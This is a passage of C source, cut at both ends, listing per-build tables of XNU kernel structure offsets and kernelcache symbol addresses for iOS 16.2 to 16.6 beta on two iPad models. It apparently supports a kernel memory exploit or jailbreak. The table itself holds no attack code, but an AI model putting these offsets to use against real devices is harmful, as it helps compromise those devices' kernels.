.kernelcache__gVirtBase = 0xfffffff0078f62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n          .kernelcache__ptov_table = 0xfffffff0078ab160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n          .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n      },\n\n      // iOS 16.6b1\n          {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n\n      // iPad 8th Gen Wifi //\n\n      // iOS 16.2\n          {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077ebc60,\n          .kernelcache__gPhysSize = 0xfffffff0077ebc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e9e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e3b3ac,\n          .kernelcache__ptov_table = 0xfffffff00779f248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff00779c080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779e208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e8da44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n          .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n          .kernelcache__ptov_table = 0xfffffff00779b288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff0077980c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n      },\n\n      // iOS 16.3.1\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a0e1178,\n          .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n          .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n          .kernelcache__ptov_table = 0xfffffff00779b288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n          .kernelcache__vm_pages = 0xfffffff0077980c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a19d208,\n          .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n          .kernelcache__ptov_table = 0xfffffff007877160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n          .kernelcache__vm_pages = 0xfffffff007873ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n      },\n\n          // iOS 16.4.1\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a19d208,\n          .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n          .kernelcache__ptov_table = 0xfffffff007877160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n          .kernelcache__vm_pages = 0xfffffff007873ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a1a5288,\n          .kernelcache__gPhysBase = 0xfffffff0078c80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078c80e0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078c62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a1e3500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e59c8c,\n          .kernelcache__ptov_table = 0xfffffff00787b160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e2990,\n          .kernelcache__vm_pages = 0xfffffff007877ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00787a110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e2988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ea8ad8,\n      },\n\n      // iOS 16.6b1\n      {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,6\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          